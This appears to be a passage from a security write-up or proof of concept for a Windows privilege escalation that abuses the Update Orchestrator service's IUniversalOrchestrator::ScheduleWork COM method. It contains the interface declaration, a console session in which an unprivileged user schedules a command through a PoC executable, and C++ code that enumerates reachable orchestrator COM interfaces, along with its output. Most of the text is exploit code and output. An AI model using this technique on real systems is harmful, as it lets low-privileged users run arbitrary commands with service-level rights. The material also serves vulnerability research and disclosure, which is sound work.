virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
	virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
	virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted

	C:\111>whoami
	desktop-43rnlku\unprivileged

	C:\111>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled

	C:\111>whoami /priv

	C:\111>UniversalOrchestratorPrivEscPoc.exe
	Obtaining reference to IUniversalOrchestrator
	Scheduling work with id 56594
	Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.

void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
	void *ss = NULL;
	IID iid;
	ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else

	HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);

	printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}

void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
	// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
	// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}

...

	TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
	TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
	TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
        // ... and hundreds of more

	UniversalOrchestrator IUniversalOrchestrator: WORKING
	UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
	UxUpdateManager IUxUpdateManager: WORKING